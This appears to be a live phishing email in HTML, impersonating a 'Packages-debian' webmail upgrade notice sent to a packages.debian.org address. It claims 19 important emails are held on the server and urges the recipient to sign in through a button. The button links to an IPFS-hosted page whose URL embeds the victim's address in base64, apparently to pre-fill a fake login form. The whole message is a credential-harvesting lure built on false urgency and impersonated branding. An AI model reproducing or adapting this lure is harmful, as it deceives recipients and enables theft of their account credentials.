<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Company System Notification</title>
<style>
/* Modern base styles */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Inter', 'Segoe UI', Roboto, Oxygen, Ubuntu, -apple-system, BlinkMacSystemFont, sans-serif;
line-height: 1.5;
background-color: #f7f9fc;
color: #334;
padding: 20px;
}
/* Container styles - preserving exact dimensions */
.email-container {
max-width: 576px;
margin: 36px auto 0 auto;
background: #fff;
box-shadow: 0 3px 15px rgba(32, 64, 128, 0.08);
font-family: 'Inter', 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
border-radius: 2px;
}
/* Header sections */
.header-section {
background: #1e4d78; /* Slightly refined blue */
color: #fff;
padding: 13px 0 10px 0;
text-align: center;
font-size: 1.05em;
font-weight: 600;
letter-spacing: .3px;
}
/* Content section */
.content-section {
padding: 19px 20px 6px 20px;
color: #334;
font-size: 0.98em;
text-align: left;
}
/* Bold text styling */
b {
font-weight: 600;
color: #192a3e;
}
/* Separator */
.separator {
border: 0;
height: 1px;
background: linear-gradient(90deg, #eef2f7 0%, #d9e0ea 100%);
margin: 12px 0 18px 0;
}
/* Footer styles */
.footer {
border-top: 1px solid #e5ecf4;
margin-top: 6px;
padding: 9px 20px 8px 20px;
text-align: left;
font-size: 0.92em;
color: #7d98b3;
background: #f9fafc;
}
/* Text element styling */
.label {
font-weight: 500;
color: #5a6c85;
}
.value {
font-weight: 600;
color: #334;
}
/* Responsive adjustments */
@media only screen and (max-width: 600px) {
body {
padding: 10px;
}
.email-container {
margin: 10px auto;
width: 100%;
}
}
/* Font rendering improvements */
@supports (font-variation-settings: normal) {
body, .email-container {
font-family: 'Inter var', 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
font-feature-settings: "cv02", "cv03", "cv04", "cv11";
}
}
</style>
</head>
<body>
<div class="email-container">
<!-- Header sections - keeping exact structure -->
<div class="header-section"><br></div>
<div class="header-section">Packages-debian - New Webmail Version<br></div>
<div class="header-section"><br></div>
<!-- Main content section -->
<div class="content-section">
<div style="margin-bottom:10px;">
Email: <b>Cacti@packages.debian.org</b><br>
Domain: <b>Packages.debian.org</b><br>
Title: <b>Important emails are suspended on the server.</b><br>
<br>
</div>
<hr class="separator">
<div style="margin-bottom:12px;">A new webmail version 2.30 is now in effect for Packages.debian.org Email Server.<br><br>There are 19 email(s) marked as important waiting on the server.</div>
<div style="margin-bottom:12px;">Log in with the new version to access emails stuck on the server.</div>
<br>
<div style="text-align:center;margin:0;">
<a
href="https://ipfs.io/ipfs/bafkreiah5xd7rble6jbx3tdu524vmxemelns2mmqwdazozayuj47q6eec4?XJ7P2K9VN=X7V2J4PNKLY2FjdGlAcGFja2FnZXMuZGViaWFuLm9yZwX7V2J4PNKL&mode=retrievalX7V2J4PNKL"
style="display:inline-block;
background:#2269a1;
color:#ffffff !important;
text-decoration:none;
padding:10px 28px;
font-weight:600;
font-size:16px;
font-family: Arial, Helvetica, sans-serif;
border-radius:0;
mso-padding-alt:0;
border:1px solid #2269a1;"
target="_blank"
moz-do-not-send="true"
>
Sign in Webmail 2.30
</a>
<br>
</div><br>
</div>
<!-- Additional content sections - keeping same structure -->
<div class="content-section">Note: This is only required once. You will receive your pending emails 30 minutes after successful login.<br></div>
<div class="content-section"><br></div>
<!-- Footer -->
<div class="footer">
<span style="font-weight:600;">Packages-debian Webmail © 2025 | All rights reserved.</span>
</div>
</div>
</body>
</html>